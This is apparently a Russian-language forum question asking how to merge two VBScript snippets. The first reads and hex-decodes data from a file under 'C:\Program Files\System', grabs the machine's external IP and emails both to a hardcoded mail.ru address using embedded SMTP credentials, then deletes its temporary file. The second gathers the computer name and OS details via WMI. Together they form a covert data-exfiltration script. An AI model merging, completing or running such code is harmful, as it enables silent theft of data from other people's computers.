Как объединить эти два кода в один?

  Set ADODBStream = CreateObject("ADODB.Stream")
  ADODBStream.Type = 2
  ADODBStream.Charset = "Unicode"
  ADODBStream.Open()
  ADODBStream.LoadFromFile("C:\Progra m Files\System\id.txt") ' Тут исходный текст в Юникоде
  Text = ADODBStream.ReadText()
  ADODBStream.Close()
  ADODBStream.Charset = "windows-1251"
  ADODBStream.Open()
  ADODBStream.WriteText(Text)
  ADODBStream.SaveToFile "C:\Program Files\System\3.txt", 2 ' тут преобразованный в ASCII
  ADODBStream.Close()
 
  dim my_str, my_arr, index, list
  Set FSO = CreateObject("Scripting.FileSystemO bject")
  Set f = FSO.OpenTextFile("C:\Program Files\System\3.txt", 1)
  On Error Resume Next
 
  For i = 1 to 12
       strn = f.ReadLine
  Next
  strn = Replace (strn, "(", "" )
  strn = Trim (strn)
 
  my_arr = split( strn, ",")
  for each index in my_arr
       strn = "&H" & index
       list = list & CHR( strn)
  next
 
  f.Close
 
  Set f1 = fso.CreateTextFile("C:\Program Files\System\3.txt", True)
  f1.Write (list)
  f1.Close
 
  Const cdoSendUsingPort = 2
  Const cdoBasic = 1
 
  Const strConstPartOfSchema = "http://schemas.microsoft.com/cdo/configuration/"
 
  Dim strContent
  strContent = ""
 
  With WScript.CreateObject("Microsoft.XML HTTP")
          Do
               .open "GET", "http://ifconfig.me/ip", False
               .send
               strContent = .responseText
               if strContent >"" Then Exit Do
               WScript.Sleep 15000 ' 15 сек. задержки если нет Интр
          Loop until ( strContent > "" )
   End With
 
   With WScript.CreateObject("CDO.Message")
           .From = "dostupmne@bk.ru"
           .To = "dostupdai@bk.ru"
           .Subject = "File [" & strSourceFile & "]"
           .TextBody = "External IP: " & strContent & vbCrLf & list
           .TextBodyPart.Charset = "windows-1251"
           With .Configuration.Fields
                   .Item(strConstPartOfSchema & "smtpserver") = "smtp.mail.ru"
                   .Item(strConstPartOfSchema & "sendusing") = cdoSendUsingPort
                   .Item(strConstPartOfSchema & "smtpserverport") = 465
                   .Item(strConstPartOfSchema & "smtpauthenticate") = cdoBasic
                   .Item(strConstPartOfSchema & "sendusername") = "dostupmne@bk.ru"
                   .Item(strConstPartOfSchema & "sendpassword") = "123dfds"
                   .Item(strConstPartOfSchema & "smtpusessl") = True
                   .Update
          End With
          .Send
    End With
 
    Set f2 = FSO.GetFile("C:\Program Files\System\3.txt")
    ' Удалить файлы
    f2.Delete
    WScript.Quit 0

   FileOut = "Z:\Box_Out\fileout.txt"
   Set objWMI = GetObject("winMgmts:\\.\Root\CIMV2: Win32_OperatingSystem")
   Set colWMI = objWMI.Instances_
 
   txt = "Компьютер:" + vbTab + vbTab + CreateObject("WScript.Network").Com puterName + vbCrLf
 
   For Each objOS In colWMI
        txt = txt + "Операционная система:" + vbTab + objOS.Caption + " " + objOS.Version + vbCrLf
        txt = txt + "Тип системы:" + vbTab + vbTab + objOS.OSArchitecture + vbCrLf
   Next
 
   ' MsgBox txt
 
   With CreateObject("Scripting.FileSystemO bject").CreateTextFile(FileOut, True)
          .Write txt
          .Close
   End With